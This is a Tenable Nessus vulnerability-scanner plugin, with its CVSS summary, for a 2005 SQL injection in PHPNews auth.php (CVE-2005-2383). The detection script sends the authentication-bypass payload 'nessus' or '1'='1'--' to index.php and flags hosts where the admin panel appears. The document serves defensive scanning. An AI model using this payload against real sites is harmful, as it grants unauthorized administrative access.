CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
EPSS
Percentile
64.9%
The remote host is running PHPNews, an open source news application written in PHP.
The installed version of PHPNews is prone to a SQL injection attack because of its failure to sanitize user-supplied input via the ‘user’ and ‘password’ parameters of the ‘auth.php’ script. Provided PHP’s ‘magic_quotes_gpc’ setting is disabled, an attacker can exploit this flaw to manipulate SQL queries, and/or even to gain administrative access.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(19287);
script_version("1.25");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2005-2383");
script_bugtraq_id(14333);
script_name(english:"PHPNews auth.php Multiple Parameter SQL Injection");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is prone to a SQL
injection attack.");
script_set_attribute(attribute:"description", value:
"The remote host is running PHPNews, an open source news application
written in PHP.
The installed version of PHPNews is prone to a SQL injection attack
because of its failure to sanitize user-supplied input via the
'user' and 'password' parameters of the 'auth.php' script. Provided
PHP's 'magic_quotes_gpc' setting is disabled, an attacker can exploit
this flaw to manipulate SQL queries, and/or even to gain administrative
access.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2005/Jul/328");
script_set_attribute(attribute:"see_also", value:"http://newsphp.sourceforge.net/changelog/changelog_1.30.txt");
script_set_attribute(attribute:"solution", value:
"Upgrade to PHPNews version 1.3.0 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2005/07/20");
script_set_attribute(attribute:"plugin_publication_date", value:"2005/07/22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:phpnews:phpnews");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2005-2022 Tenable Network Security, Inc.");
script_dependencies("http_version.nasl");
script_require_keys("www/PHP");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
port = get_http_port(default:80, embedded: 0, php: 1);
# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/phpnews", "/news", cgi_dirs()));
else dirs = make_list(cgi_dirs());
foreach dir (dirs) {
# Check whether index.php exists.
#
# nb: index.php require()'s auth.php, in which the flaw lies, so we
# can test either. The advantage of using index.php, though,
# is that if the exploit is successful, we should see some
# following text from the admin panel rather than nothing, as
# would be the case if we used auth.php.
res = http_get_cache(item:string(dir, "/index.php"), port:port, exit_on_fail: 1);
# If it does and looks like PHPNews...
if ('<link href="phpnews_package.css"' >< res) {
# Try to exploit the flaw to bypass authentication.
postdata = string(
"user=", urlencode(str:"user=nessus' or '1'='1'--"), "&",
"password=", SCRIPT_NAME
);
r = http_send_recv3(method:"POST", item: dir+"/index.php", version: 11, port: port,
exit_on_fail: 1, content_type: "application/x-www-form-urlencoded",
data: postdata );
res = r[2];
# There's a problem if we see the admin page.
if ('<a href="index.php?action=logout">' >< res) {
security_warning(port);
set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
exit(0);
}
}
}